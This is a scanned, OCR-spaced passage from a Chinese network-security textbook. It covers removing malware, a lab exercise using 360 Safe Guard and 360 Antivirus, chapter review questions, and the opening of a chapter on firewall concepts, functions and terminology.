出 窗口 严重 影响 了 计算 机 的 正常 使 用 ,甚至 会 造成 计算 机 出 现 一 定时 间 内 “假死 ”的 
现象 。 

4) 非 正 常 渠道 收集 用 户 信 息 

有 些 恶 意 软件 在 后 台 偷 偷 收集 用 户 在 网 上 消费 时 的 行为 习惯 .账号 和 密码 等 ,使 用 
户 的 虚拟 财产 安全 受到 威胁 。 


2. 恶意 软件 的 清除 


通常 清除 恶意 软件 的 方法 就 是 利用 恶意 软件 清除 专业 工具 进行 清理 ,例如 , Wopti 
流 谍 软件 清除 大 师 .完美 卸载 .360 安全 卫士、Windows 清理 助手 、 超 级 兔子 魔法 设置 、 恶 
意 软 件 清理 助手 ,金山 清理 专家 、 瑞 星 卡 上 网 安全 助手 、 缉 载 精 灵 等 ,这 些 清理 工具 以 其 
操作 简单 、 实 用 性 强 的 优势 深 受 广大 计算 机 用 户 的 欢迎 。 

EE 讨论 思考 

(1) 什么 是 恶意 软件 ? 

(2) 恶意 软件 的 危害 主要 有 哪些 ? 

(3) 如 何 清 除 常 见 的 恶意 软件 ? 


75 实验 七 : 30 安 全 卫士 杀毒 软件 应 用 


360 安全 卫士 及 杀毒 软件 应 用 很 广泛 ,其 中 ,企业 版 获得 “2013 年 度 中 国 IT 创新 
奖 ”, 可 以 面向 企业 级 用 户 推 出 专业 安全 解决 方案 ,致力 解决 企业 用 户 普遍 存在 的 网 络 安 
全 问题 ,让 繁杂 的 网 络 安全 管理 简单 化 。 而 且 ,360 安全 卫士 实用 方便 ,全 面 防护 企业 网 
络 安全 ,还 可 以 集成 企业 白 名 单 技术 ,有 效 杜 绝 各 种 专用 软件 风险 误 报 。 


751 实验 目的 


(1) 理解 360 安全 卫士 及 杀毒 软件 的 主要 功能 及 特点 。 
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(2) 掌握 360 安全 卫士 及 杀毒 软件 的 主要 技术 和 应 用 。 
(3) 熟悉 360 安全 卫士 及 杀毒 软件 的 主要 操作 界面 和 方法 。 


752 实验 内 容 


1. 主要 实验 内 容 


(1) 360 安全 卫士 及 杀毒 软件 的 主要 功能 及 特点 。 
(2) 360 安全 卫士 及 杀毒 软件 主要 技术 和 应 用 。 

(3) 360 安全 卫士 及 杀毒 软件 主要 操作 界面 和 方法 。 
实验 用 时 : 2 学 时 (90 一 120 分 钟 ) 


2. 360 安全 卫士 的 主要 功能 特点 


360 安全 卫士 是 奇 虎 公司 自主 研发 的 软件 一 款 计 算 机 安全 辅助 软件 ,拥有 查 杀 木马 、 
清理 插件 修复 漏洞 .电脑 体检 等 多 种 功能 ,并 独创 了 “木马 防火 墙 ” 功 能 ,依靠 抢先 侦 测 
和 云端 鉴别 ,可 全 面 , 智 能 地 拦截 各 类 木马 ,保护 用 户 的 账号 、 隐 私 等 重要 信息 。 目 前 木 
马 威胁 之 大 已 远 超 病 毒 ,360 安全 卫士 运用 云 安全 技术 ,在 拦截 和 查 杀 木马 的 效果 、 速 度 
以 及 专业 性 上 表现 出 色 ,能 有 效 防 止 个 人 数据 和 隐私 被 木马 窃取 ,被 痊 为 “防范 木马 的 第 
一 选择 ”。360 安全 卫士 自身 非常 轻巧 ,同时 还 具备 开机 加 速 ,垃圾 清理 等 多 种 系统 优化 
功能 ,可 大 大 加 快 计算 机 运行 速度 ,内 含 的 360 软件 管家 还 可 帮助 用 户 轻松 下 载 ,升级 和 
强力 印 载 各 种 应 用 软件 。360 安全 卫士 的 主要 功能 如 下 : 


(1) 电脑 体检 。 
(2) 查 杀 木 马 。 


可 对 用 户 计算 机 进行 安全 方面 的 全 面 细 致 检测 。 
使 用 360 云 引擎 .启发 式 引擎 ,本 地 引擎 ,360 奇 虎 支 持 向 量 机 QVM 


(Qihoo Support Vector Machine)4 引擎 查 杀 木马 。 


(3) 修复 漏洞 。 
(4) 系统 修复 。 
(5) 电脑 清理 。 
(6) 优化 加 速 。 
(7) 电脑 门诊 。 
(8) 软件 管家 。 
(9) 功能 大 全 。 


为 系统 修复 高 危 漏 洞 ,对 系统 进行 加 固 和 功能 性 更 新 。 
修复 常见 的 上 网 设置 和 系统 设置 。 

清理 插件 、 垃 圾 和 痕迹 和 注册 表 。 

通过 系统 优化 ,加 快 开机 和 运行 速度 。 

解决 计算 机 使 用 过 程 中 遇 到 的 有 关 问 题 帮助 。 

安全 下 载 常用 软件 ,提供 便利 的 小 工具 。 

提供 各 式 各 样 的 与 安全 防御 有 关 的 功能 。 


360 安全 卫士 将 木马 防火 墙 、 网 盾 及 安全 保镖 合 三 为 一 ,使 安全 防护 体系 功能 大 幅 增 
强 。 具 有 查 杀 木马 及 病毒 、 清 理 插件 、 修 复 及 危险 项 漏洞 .电脑 体检 、 开 机 加 速 等 多 种 功 
能 ,独创 了 “木马 防火 墙 ”功能 。 还 具有 广告 拦截 功能 ,并 新 增 了 网 购 安全 环境 修复 功能 。 


3. 360 杀毒 软件 的 主要 功能 特点 


360 杀毒 软件 和 360 安全 卫士 配合 使 用 ,是 安全 上 网 的 黄金 组 合 ,可 提供 全 时 、 全 面 


的 病毒 防护 。360 杀毒 软件 的 主要 功能 特点 如 下 : 
(1) 360 杀毒 无 颖 整合 国际 知名 的 BitDefender 病毒 查 杀 引擎 和 安全 中 心 领 先 云 查 
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杀 引 擎 。 

(2) 双 引 擎 智能 调度 ,为 计算 机 提供 完善 的 病毒 防护 体系 ,不 但 查 杀 能 力 出 色 ,而且 
能 第 一 时 间 防 御 新 出 现 的 病毒 木马 。 

(3) 杀毒 快 ,误杀 率 低 。 以 独 有 的 技术 体系 实现 了 对 系统 资源 占用 少 ,杀毒 快 ,误杀 
率 低 。 

(4) 快速 升级 和 响应 ,病毒 特征 库 及 时 更 新 ,确保 对 爆发 性 病毒 的 快速 响应 

(5) 对 感染 型 木马 强力 的 查 杀 功能 。 具 有 强大 的 反 病毒 引擎 以 及 实时 保护 技术 , 采 
用 虚拟 环境 启发 式 分 析 技 术 发 现 和 阻止 未 知 病毒 。 

(6) 超 低 系统 资源 占用 ,人 性 化 免 打扰 设置 ,在 用 户 打 开 全 屏 程序 或 运行 应 用 程序 时 
自动 进入 “ 免 打 扰 模式 ”。 

新 版 360 杀毒 软件 整合 了 四 大 领先 防 杀 引擎 ,不 但 查 杀 能 力 出 色 , 而 且 能 第 一 时 间 
防御 新 出 现 或 变异 的 新 病毒 。 数 据 向 云 杀毒 转变 ,自身 体积 变 得 更 小 ,刀片 式 智 能 五 引 
擎 架构 可 根据 用 户 需求 和 计算 机 实际 情况 自动 组 合 协调 杀毒 配置 。 

360 杀毒 软件 具备 360 安全 中 心 的 云 查 杀 引 擎 , 双 引 擎 智能 调度 不 但 查 杀 能 力 出 色 ， 
而 且 能 第 一 时 间 防 御 新 出 现 的 病毒 木马 ,提供 全 面 保 护 。 


753 操作 界面 及 步骤 


1. 360 安全 卫士 操作 界面 


限于 篇 幅 , 在 此 只 做 概要 介绍 。 
360 安全 卫士 最 新 9. 6 版 主要 操作 界面 如 图 7-1 至 图 7-6 所 示 。 


i Fi Ë 


电脑 体检 ”木马 查 杀 ” 系 较 修复 。 ”电脑 清理 ”优化 加 束 。 ”电脑 炒 据 。 ”手机 助手 
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图 7-1 360 安全 卫士 主 界面 及 “电脑 体检 ”界面 


z@= 计算 机 病毒 防范 _ 205 


系统 修复 。 ”电脑 清理 。。 优化 加 速 。 电脑 教 拔 。 手机 助手 软件 管家 


@ =x=ama 1 hiim, 不 发现 电脑 中 丰 在 安全 局 且 . i 


səs 


快速 9 科 全 盘 扫 描 自 定义 扫描 se 
热点 问题 收复 @23 
* 快 搜 方 式 异常 收复 
* Words 收复 
* 任务 管理 器 异 第 修复 
* QQ 面板 链接 打 不 开 LI 
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恢复 区 信任 区 上 报 区 @ c= 


图 7-2 360 安全 卫士 的 “木马 查 杀 ”界面 


系统 娘 侯 ”电脑 清音 。。 优化 加 速 。 电脑 救援 手机 助手 软件 管家 


@e 修 异常 、 打 补丁 ， 让 您 的 电脑 时 刻 保持 健康 ! 


锁定 主页 防止 被 木马 屯 专 纂 改 , 
EXE : http://hao.360.cn 


* WEOPRCSRRUI 点 此 了 解 
* 正 浏览 苹 其 他 尾 性 。 设置 


P. 
e 
Y, mesimaeas ses 
` masara = 电脑 没有 声 富 . mms. 
”QQ 面板 链接 打 不 开 下 主页 总 被 改 * QQmmmss 
”网 页 打 不 开 * 快 尘 方式 异 备 网 页 游戏 玩 不 了 


waE 信任 区 


图 7-3 360 安全 卫士 的 “系统 修复 "界面 
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优化 加 速 


电脑 体检 ”木马 查 杀 


系统 修复 
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电脑 清理 
清理 软件 | 


清理 电脑 中 的 Cookie 
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它 未 知 的 Cookie 


a 


"g 


电脑 中 的 垃圾 
清理 系统 中 的 过 项 文件 ， 称 放 三 熏 僧 间 ! 


使 用 电脑 和 上 网 产生 的 病 迹 
清理 合用 丛 迹 可 以 有 效 保证 多 扩 各 私 安全 ! 


上 不 了 网 QQ 是 
网 页 打 不 开 主页 被 复 改 
12306 证 书 错误 网 页 乱码 


、 垃 圾 、 瘦 迹 和 播 件 ， 现 在 只 需 一 键 ! 
—aarpeaa=is ,清理 电 蕊 中 的 垃圾 ， 让 系统 运行 更 加 有 效率 ! 


B 后 


masa 手机 助手 软件 管家 
清理 括 件 。 | 。 清理 靖 迹 
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游戏 环境 
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清理 时 机 
° 宝 用 清 理 “定时 清理 
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图 7-4 360 安全 卫士 的 “电脑 清理 ”界面 
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图 7-5 


电脑 救援 操作 界面 
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2. 360 杀毒 软件 操作 界面 
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360 杀毒 软件 的 主要 功能 界面 如 图 7-7 至 图 7-10 所 示 。 


多 引擎 保护 中 : 


360 杀 毒 正在 保护 您 的 系统 ! 


3775 


快速 扫描 


自 定义 扫描 去 病毒 扫描 广告 拦截 ”软件 净化 
程序 版 本 5.0.1.4122(64 位 ) 病毒 库 日 期 2014-01-05 检查 更 新 


国 
: 


回 消息 中 心 
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7-7 360 杀毒 软件 主 界面 
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Q. CAprogram Files\Common Files\360SD\savapi3\aelidb.dat cual [ee 
— r 
共 提 岳 对 象 : 11032 竺 处 理 项 : 3 已 用 时 间 : 00:00:24 加 速度 最 快 ) 性 能 最 佳 
项 目 See 
系统 异常 硕 (3) A 
SEN EBE dEE Etu SSE Stt3RFBiBf+ 
正 默 闪 搜 索引 等 配置 被 修改 SSURU Ito 
驱动 开发 请 试 开关 被 打开 BESERFU 系统 关键 位 置 
口 扫 往 充 成 后 自动 处 理 并 关机 图 正在 使 用 智能 所 摘 加 严 技 术 


7-8 360 杀毒 软件 “全 面 扫描 "界面 


QQ 局 动 页 3 病 : C\Windows\System32\svchost.exe 
——— —V 
拱 描 对 象 : 7197 fktmm: 0 已 用 时 间 : 00:00:19 


一 9 一 一 e 一 一 6 一 


v 安全 v 安全 


v 安全 C 正在 扫描 等 待 扫 摘 … 


您 是 否 遇 到 了 这 些 问题 : QQ 宝 间 打 不 开 | 网 络 视频 看 不 了 | 网 页 打 不 开 | Fib063EE | 浏览 器 外 观 异常 更 多 


L] 拍手 完 或 后 会 动 处 理 并 关机 


图 7-9 360 杀毒 软件 的 “快速 扫描 ”界面 
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将 图 标 抢 的 到 下 侧 位 置 , 可 。 ” Kçi 
反 松 设置 快捷 功能 1 


7-10 360 杀毒 软件 的 “功能 大 全 "界面 


76 本 章 小 结 


计算 机 病毒 的 防范 应 以 预防 为 主 ,在 各 方面 的 共同 配合 下 解决 计算 机 病毒 的 问题 。 
本 章 首先 介绍 计算 机 病毒 的 概念 及 产生 .计算 机 病毒 的 特点 .计算 机 病毒 的 种 类 .计算机 
中 毒 的 异常 现象 ,介绍 了 计算 机 病毒 的 构成 .计算 机 病毒 的 传播 方式 .计算 机 病毒 的 触发 
和 生存 条 件 、 特 种 及 新 型 病毒 实例 分 析 等 ;同时 还 具体 地 介绍 了 计算 机 病毒 的 检测 、 清 除 
与 防范 技术 ,木马 的 检测 清除 与 防范 技术 ,以 及 计算 机 病毒 和 防 病 毒 技 术 的 发 展 趋势 ,总 
结 了 恶意 软件 的 类 型 .危害 、 清 除 方法 和 防范 措施 ;最 后 ,针对 360 安全 卫士 及 杀毒 软件 


的 功能 、 特 点 操作 界面 进行 了 介绍 ,便于 理解 具体 实验 过 程 ,掌握 查 杀 方法 。 


1. 选择 题 


77 练习 与 实践 七 


(1) 计算 机 病毒 的 主要 特点 不 包括 ( js 


A. 潜伏 性 


(2)“ 熊 猫 烧香 ”是 一 种 ( ) 。 


A. 游戏 


(3) 木马 的 清除 方式 有 ( 


A. 自动 清除 


B. 破坏 性 C. 传染 性 D. 完 
B. 软件 C. 蠕虫 病毒 D: 

) 和 ( ) 两 种 。 
B. 手动 清除 C. 杀毒 软件 清除 — D. 
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(4) 计算 机 病毒 是 能 够 破坏 计算 机 正常 工作 的 ”) 的 一 组 计算 机 指令 或 程序 。 
A. 系统 自 带 B. 人 为 编制 C. 机 器 编制 D. 不 清楚 
(5) 强制 安装 和 难以 人 印 载 的 软件 都 属于 ( O. 
A. 病毒 B. 木马 C. 蠕虫 D. 恶意 软件 


2. 填空 题 


(1) 根据 计算 机 病毒 的 破坏 程度 可 将 病毒 分 为 

(2) 计算 机 病毒 一 般 由 3 个 单元 构成 。 

(3) 计算 机 病毒 的 传染 单元 主要 包括 I $ 3 个 模块 。 
(4) 计算 机 病毒 根据 病毒 依附 载体 可 划分 为 


` ° 


(5) 计算 机 病毒 的 主要 传播 途径 有 
(6) 计算 机 运行 异常 的 主要 现象 包括 


等 。 


3. 简 答题 


(1) 什么 是 计算 机 病毒 ? 

(2) 简 述 计算 机 病毒 的 特点 。 

(3) 计算 机 中 毒 的 异常 表现 有 哪些 ? 
(4) 如 何 清除 计算 机 病毒 ? 

(5) 什么 是 恶意 软件 ? 

(6) 简 述 恶意 软件 的 危害 。 

(7) 简 述 计算 机 病毒 的 发 展 趋势 。 


4. 实践 题 


(1) 下 载 一 种 杀毒 软件 ,安装 设置 后 查 毒 ,如 有 病毒 ,进行 杀毒 操作 。 
(2) 搜索 至 少 两 种 木马 ,了 解 其 发 作 表现 以 及 清除 办 法 。 


防火 墙 技术 


防火 墙 技术 是 较 早 出 现 的 保护 计算 机 网 络 安全 的 较为 成 熟 的 防御 性 措施 。 属 于 网 
络 访问 的 控制 设备 ,位 于 内 外 网 络 系统 之 间 , 通 过 执行 访问 控制 策略 达到 隔离 和 过 滤 的 
目的 。 防 火 墙 是 常用 的 网 络 安全 技术 和 方法 之 一 ,对 于 网 络 系统 的 安全 非常 重要 。 防 火 
墙 目 前 在 网 络 安全 技术 中 应 用 较为 广泛 ,在 此 有 必要 专门 介绍 。 


BE 教学 目标 

° 理解 防火 墙 的 概念 和 功能 。 

。 掌握 防火 墙 的 主要 分 类 及 体系 结构 。 

° 理解 典型 防火 墙 的 系统 设计 。 

° 了 解 内 外 部 防火 墙 的 设计 。 

° 掌握 智能 防火 墙 防范 DDoS 攻击 的 方法 。 


81 防火 墙 概述 


【案例 8-1] 某 中 型 企业 购买 并 部 署 了 适合 企业 网 络 系统 特点 的 防火 墙 , 刚 投入 使 
用 后 ,就 发 现 以 前 局 域 网 中 经 常 出 现 的 网 络 安全 问题 不 见 了 ,企业 网 站 遭受 拒绝 服务 攻 
击 的 次 数 也 大 大 减少 了 ,为 此 ,公司 领导 特意 表扬 了 负责 防火 墙 安装 实施 的 信息 部 。 


811 防火 墙 的 概念 


防火 墙 (firewall) 是 指 在 两 个 网 络 之 间 加 强 访问 控制 的 一 整套 装置 , 即 防火 墙 是 构造 
在 一 个 可 信 网 络 ( 一 般 指 内 部 网 ) 和 不 可 信和 网络 (一 般 指 外 部 网 ) 之 间 的 保护 装置 ,强制 所 
有 的 访问 和 连接 都 必须 经 过 这 个 保护 层 , 并 在 此 进行 连接 和 安全 检查 。 只 有 合法 的 数据 
包 才 能 通过 此 保护 层 , 从 而 保护 内 部 网 资源 免 遭 非法 入 侵 。 

对 于 防火 墙 的 定义 有 多 种 : 防火 墙 是 在 Internet 与 Intranet 之 间 进 行 访问 控制 的 安 
全 网 关 ; 防 火 墙 是 增强 网 络 间 访问 控制 策略 的 一 种 或 一 组 设备 ;防火 墙 是 在 两 个 网 络 之 
间 实 施 访问 控制 的 一 个 或 一 组 系统 ;防火 墙 是 保障 私有 网 络 与 其 他 网 络 连 接 通 信安 全 的 
一 个 或 一 组 设备 ;防火 墙 是 阻止 外 部 网 络 对 私有 网 络 访问 的 任何 设备 , 它 通 常 是 软件 和 
硬件 的 组 合体 。 
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那么 到 底 什 么 才 是 防火 墙 ? 它 工作 在 什么 位 置 ? 起 着 什么 作用 ? 查阅 历史 书籍 可 
知 ,古代 构 筑 和 使 用 木质 结构 房屋 的 时 候 , 为 防止 火灾 的 发 生 和 蔓延 ,人 们 将 坚固 的 石 块 
堆砌 在 房屋 周围 作为 屏障 ,这 种 防护 构筑 物 就 被 称 为 “防火墙 >。 随 着 计算 机 和 网 络 的 发 
展 , 各 种 攻击 人 侵 手段 也 相继 出 现 , 为 了 保护 计算 机 的 安全 ,人 们 开发 出 一 种 能 阻止 计算 
机 之 间 直 接 通 信 的 技术 ,并 沿用 了 古代 类 似 这 个 功能 的 名 字 一 一 “防火 墙 *"。 用 专业 术语 
来 说 ,防火 墙 是 一 种 位 于 两 个 或 多 个 网 络 间 ,实施 网 络 之 间 访 问 控制 的 组 件 集 合 。 

防火 墙 是 指 一 种 放置 在 本 地 的 计算 机 与 外 界 网 络 之 间 的 系统 ,从 网 络 发 往 计算 机 的 
所 有 数据 都 要 经 过 其 判断 处 理 后 , 才 会 决定 能 不 能 把 这 些 数据 交 给 计算 机 ,一 旦 发 现 有 
害 数据 ,防火 墙 就 会 将 其 拦截 下 来 ,从 而 实现 了 对 计算 机 的 保护 功能 。 网 络 防 火 墙 的 部 
署 结 构 如 图 8-1 所 示 。 


工作 站 ”台式 PC 


Internet 网 络 


8-1 网 络 防火 墙 的 部 署 结 构 


具体 可 以 对 防火 墙 给 出 如 下 描述 : 一 个 由 多 个 部 件 组 成 的 集合 或 系统 , 它 被 放 在 两 
个 网 络 之 间 ,并 具有 以 下 特性 : 

(1) 所 有 从 内 部 到 外 部 或 从 外 部 到 内 部 的 通信 都 必须 经 过 它 。 

(2) 只 有 内 部 访问 策略 授权 的 通信 才 人 允许 通 过 。 

(3) 系统 本 身 具 有 高 可 靠 性 。 


812 防火 墙 的 功能 


防火 墙 是 网 络 安全 策略 的 有 机 组 成 部 分 , 它 通 过 控制 和 监测 网 络 之 间 的 信息 交换 和 
访问 行为 来 实现 对 网 络 安全 的 有 效 管理 ,总 体 上 防火 墙 应 具有 以 下 五 大 基本 功能 : 

(1) 过 滤 进 .出 网 络 的 数据 ,强化 安全 策略 。 防 火 墙 是 信息 进出 网 络 的 必 有 经 之 路 , 它 
可 以 检测 所 有 经 过 数据 的 细节 ,并 根据 事先 定义 好 的 策略 允许 或 禁止 这 些 数 据 的 通过 。 
此 外 ,可 以 将 某 些 安全 软件 (如 口令 加密、 身份 认证 .审计 等 ) 配 置 在 防火 墙 上 ,以 实现 更 
好 的 安全 策略 。 

(2) 管理 和 控制 进 、 出 网 络 的 访问 行为 。 只 有 经 过 精心 选择 的 应 用 协议 才能 够 通过 
防火 墙 ,这 样 网 络 环境 变 得 更 安全 。 比 如 防火 墙 可 以 禁止 NFS 协议 进出 受 保护 的 网 络 ， 


sfbz= nkuna 
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这 样 外 部 攻击 者 就 不 能 够 利用 协议 的 脆弱 性 攻击 内 部 网 络 。 

(3) 对 不 安全 的 服务 进行 限制 和 拦截 , 尽 可 能 不 暴露 内 部 网 络 。 通 过 隔离 内 、 外 网 
络 , 可 以 防止 非法 用 户 进 入 内 部 网 络 ,并 能 有 效 防止 邮件 炸弹 、 蠕 虫 病毒 、 宏 病毒 的 攻击 。 

(4) 记录 通过 防火 墙 的 信息 内 容 和 活动 。 因 为 内 、 外 网 络 之 间 的 数据 包 必 须 经 过 防 
火 墙 ,所 以 防火 墙 能 对 这 些 数据 包 进 行 记录 并 写 进 日 志 系 统 ,同时 可 对 使 用 情况 进行 数 
据 统计 。 

(5) 对 网 络 攻击 进行 检测 和 报警 。 当 受 保护 的 网 络 遭 受 可 疑 访 问 时 ,防火 墙 能 进行 
适当 报警 ,并 提供 网 络 是 否 受到 监测 和 攻击 的 详细 信息 。 

由 于 防火 墙 处 在 内 网 和 外 网 的 分 界 点 ,所 有 的 网 络 流量 必须 通过 防火 墙 ,所 处 位 置 
比较 优越 ,所 以 在 实际 应 用 中 防火 墙 也 被 加 入 一 些 其 他 的 高 级 功能 。 

(1) 身份 验证 和 授权 。 身 份 验证 是 对 一 个 用 户 的 身份 进行 校 验 的 过 程 。 在 防火 墙 中 
建立 一 个 包括 用 户 名 和 密码 的 本 地 数据 库 , 通 过 了 解 用 户 知道 什么 密码 来 对 用 户 身份 进 
行 校 验 ,通过 校 验 后 用 户 才 可 以 进行 资源 访问 。 防 火 墙 的 授权 内 容 包 括 访问 某 些 主机 、 
服务 或 者 资源 。 

(2) NAT(Network Address Translation, 网 络 地 址 转换 )。 对 内 网 的 IP 地 址 或 者 外 
网 的 IP 地 址 进行 转换 ,一 般 分 为 源 地 址 转换 (Source NAT,SNAT) 和 目的 地 址 转换 
(Destination NAT,DNAT)。 常 见 的 包 伪 装 (masquerading) 就 是 一 个 SNAT 特例 ,用 来 
将 有 限 的 IP 地 址 动态 或 者 静态 地 与 内 部 的 IP 地 址 对 应 起 来 ,以 缓解 地 址 空间 短缺 的 问 
题 。 端 口 转发 (port forwarding) ,负载 分 担 以 及 透明 代理 都 属于 DNAT, 主要 用 于 外 网 
主机 访问 内 网 主机 。NAT 还 分 为 静态 NAT 和 动态 NAT 两 种 。 

(3) VPN( 虚 拟 专用 网 ) 。 在 公共 网 络 中 建立 专用 网 络 ,数据 通过 安全 的 “加 密 通道 ” 
在 公共 网 络 中 传输 。VPN 的 基本 原理 是 通过 对 IP 包 的 封装 及 加 密 、 认 证 等 手段 ,达到 保 
证 安全 的 目的 。 它 往往 是 在 防火 墙 上 附加 一 个 加 密 模块 实现 的 。 采 用 的 协议 普遍 为 
IPSec(IP 安全 协议 )。 

(4) 病毒 免疫 。 利 用 自身 的 或 者 第 三 方 的 防 病 毒 服 务 器 ,通过 防火 墙 规 则 配置 ,扫描 
通过 防火 墙 的 数据 包 ,清除 计算 机 病毒 ,一 般 是 连接 到 另 一 台 专 门 的 病毒 防火 墙 来 完成 ， 
以 提高 过 滤 效率 。 

(5) 代理 。 是 应 用 网 关 防 火 墙 的 主要 功能 。 一 般 有 两 种 形式 的 代理 功能 :透明 代理 、 
传统 代理 。 透 明代 理 可 以 直接 转发 受 保护 网 络 客户 主机 的 请 求 , 不 需要 客户 主机 软件 进 
行 相 应 的 设置 ,对 用 户 保 持 透 明 。 传 统 代理 则 需要 客户 软件 进行 必要 的 设置 ,最 基本 的 
就 是 要 把 代理 服务 器 的 地 址 告诉 客户 软件 。 


813 防火 墙 的 特性 与 相关 术语 
1. 防火 墙 的 特性 


典型 的 防火 墙 有 以 下 3 个 基本 特性 : 
(1) 内 部 网 络 和 外 部 网 络 之 间 的 所 有 网 络 数据 流 都 必须 经 过 防火 墙 。 这 是 防火 墙 所 
处 的 网 络 位 置 特性 ,同时 也 是 一 个 前 提 。 因 为 只 有 当 防 火 墙 是 内 、 外 部 网 络 之 间 通 信 的 
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唯一 通道 时 , 才 可 以 全 面 ` 有 效 地 保护 企业 内 部 网 络 不 受 侵害 。 

根据 美国 国家 安全 局 制定 的 《信息 保障 技术 框架 》, 防 火 墙 适用 于 用 户 网 络 系统 的 边 
界 , 属 于 用 户 网 络 边界 的 安全 保护 设备 。 所 谓 网 络 边界 即 是 采用 不 同安 全 策略 的 两 个 网 
络 的 连接 处 ,比如 用 户 网 络 和 Internet 之 间 连 接 、 用 户 网 络 和 其 他 业务 往来 单位 的 网 络 
连接 、 用 户 内 部 网 络 不 同 部 门 之 间 的 连接 等 。 防 火 墙 的 目的 就 是 在 网 络 连 接 处 建立 一 个 
安全 控制 点 ,通过 允许 ,拒绝 或 重新 定向 经 过 防火 墙 的 数据 流 , 实 现 对 进 、 出 内 部 网 络 的 
服务 和 访问 的 审计 和 控制 。 

(2) 只 有 符合 安全 策略 的 数据 流 才 能 通过 防火 墙 。 防 火 墙 最 基本 的 功能 是 确保 网 络 
流量 的 合法 性 ,并 在 此 前 提 下 将 网 络 的 流量 快速 地 从 一 条 链 路 转发 到 另 一 条 链 路 上 去 。 
原始 的 防火 墙 是 一 台 双 宿主 机 , 即 具 备 两 个 网 络 接口 ,同时 拥有 两 个 网 络 层 地 址 。 防 火 
墙 将 网 络 流量 通过 相应 的 网 络 接口 接收 上 来 ,按照 协议 栈 的 层次 结构 顺序 上 传 ,在 适当 
的 协议 层 执行 访问 规则 和 安全 审查 ,然后 将 符合 通过 条 件 的 报 文 从 相应 的 网 络 接口 送 
出 ,而 对 于 那些 不 符合 通过 条 件 的 报 文 则 予以 阻 断 。 因 此 ,从 这 个 角度 上 来 说 ,防火 墙 是 
一 个 类 似 于 桥接 或 路 由 器 的 多 端口 的 (网 络 接口 三 2) 转 发 设备 , 它 跨 接 于 多 个 分 离 的 物 
理 网 段 之 间 ,并 在 报 文 转 发 过 程 中 完成 对 报 文 的 审查 工作 。 

(3) 防火 墙 自身 应 具有 非常 强 的 抗 攻 击 能 力 。 这 是 防火 墙 之 所 以 能 担当 企业 内 部 网 
络 安全 防护 重任 的 先决 条 件 。 防 火 墙 处 于 网 络 边缘 , 它 就 像 一 个 边界 卫士 一 样 ,每 时 每 
刻 都 要 面 对 黑 客 的 入侵, 这 样 就 要 求 防火 墙 自身 要 具有 非常 强 的 抗击 入 侵 的 能 力 。 其 中 
防火 墙 操作 系统 本 身 的 安全 性 是 关键 。 其 次 就 是 防火 墙 自身 具有 非常 少 的 服务 功能 , 除 
了 专门 的 防火 墙 府 入 系统 外 ,再 没有 其 他 应 用 程序 在 防火 墙 上 运行 。 


2. 与 防火 墙 有 关 的 主要 术语 


在 继续 讨论 防火 墙 技术 前 ,需要 认识 一 些 重要 的 相关 术语 。 

1) 网 关 

网 关 是 在 两 个 设备 之 间 提 供 转 发 服务 的 系统 。 网 关 的 范围 可 以 从 互联 网 应 用 程序 ， 
如 公共 网 关 接口 (CGD ,到 在 两 台 主 机 间 处 理 流 量 的 防火 墙 网 关 。 根 据 工作 位 置 范围 ,网 
关 又 可 划分 为 电路 级 网 关 和 应 用 级 网 关 。 

(1) 电路 级 网 关 。 用 来 监控 受信 任 的 客户 或 服务 器 与 不 受信 任 的 主机 间 的 TCP 握 
手 信息 ,这 样 来 决定 该 会 话 是 否 合法 ,在 OSI 参考 模型 中 会 话 层 上 过 滤 数 据 包 ,这 样 比 包 
过 滤 防 火 墙 要 高 两 层 。 另 外 ,电路 级 网 关 还 提供 一 个 重要 的 安全 功能 :网 络 地 址 转移 
(NAT) 将 所 有 公司 内 部 的 IP 地 址 映射 到 一 个 “安全 ”的 IP 地 址 ,这 个 地 址 是 由 防火 墙 使 
用 的 。 

(2) 应 用 级 网 关 。 工 作 在 OSI 参考 模型 的 任 一 层 上 ,能 够 检查 进出 的 数据 包 , 通 过 
网 关 复 制 传递 数据 ,防止 在 受信 任 服务 器 和 客户 机 与 不 受信 任 的 主机 间 直 接 建 立 联系 。 
应 用 级 网 关 能 够 理解 应 用 层 上 的 协议 ,能 够 做 复杂 一 些 的 访问 控制 ,并 做 精细 的 注册 。 
通常 是 在 特殊 的 服务 器 上 安装 软件 来 实现 的 。 

2) 包 过 滤 

包 过 滤 是 处 理 网 络 上 基于 逐 包 (packet-by-packet) 流 量 的 设备 。 包 过 滤 设 备 允 许 或 
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阻止 包 , 典 型 的 实施 方法 是 通过 标准 的 路 由 器 进行 包 过 滤 。 包 过 滤 是 防火 墙 的 类 型 之 
一 ,在 8.2.2 节 将 做 详细 介绍 。 

3) 代理 服务 器 

代理 服务 器 代表 内 部 客户 端 与 外 部 的 服务 器 通信 。 代 理 服务 器 这 个 术语 通常 是 指 
一 个 应 用 级 的 网 关 , 虽 然 电路 级 网 关 也 可 作为 代理 服务 器 的 一 种 。 

4) 网 络 地 址 转换 (NAT) 

网 络 地 址 转换 是 对 Internet 隐藏 内 部 地 址 ,防止 内 部 地 址 公开 。 这 一 功能 可 以 克服 
IP 寻 址 方式 的 诸多 限制 ,完善 内 部 寻 址 模式 。 把 未 注册 IP 地 址 映射 成 合法 地 址 ,就 可 以 
对 Internet 进行 访问 。NAT 的 另 一 个 功能 是 IP 地 址 隐藏 。RFC 1918 概述 了 内 部 网 络 
地 址 分 配 ,并 且 IANA 建议 使 用 内 部 地 址 机 制 , 以 下 地 址 作为 保留 地 址 : 

10. 0, 0. 0=-10, 255. 255.:255 

172. 16. 0,0=-172, 31. 255. 255 

192. 168.0. 0>-192, 168, 255. 255 

如 果 选 择 上 述 网 络 地 址 ,不 需要 向 任何 互联 网 授权 机 构 注 册 即 可 使 用 。 使 用 这 些 网 
络 地 址 的 一 个 好 处 就 是 在 互联 网 上 永远 不 会 被 路 由 。 互 联网 上 所 有 的 路 由 器 发 现 源 或 
目标 地 址 含有 这 些 私 有 网 络 ID 时 都 会 自动 地 丢弃 。 

5) 堡垒 主机 

堡垒 主机 是 一 种 被 强化 的 可 以 防御 进攻 的 计算 机 ,被 暴露 于 Internet 之 上 ,作为 进 
和 内 部 网 络 的 一 个 检查 点 ,以 把 整个 网 络 的 安全 问题 集中 在 某 个 主机 上 解决 ,从 而 省 时 
省 力 ,不 用 考虑 其 他 主机 的 安全 。 从 堡垒 主机 的 定义 可 以 看 到 , 它 是 网 络 中 最 容易 受到 
侵害 的 主机 。 所 以 也 必须 是 自身 保护 最 完善 的 主机 。 可 以 使 用 单 宿 主 保 又 主机。 多 数 
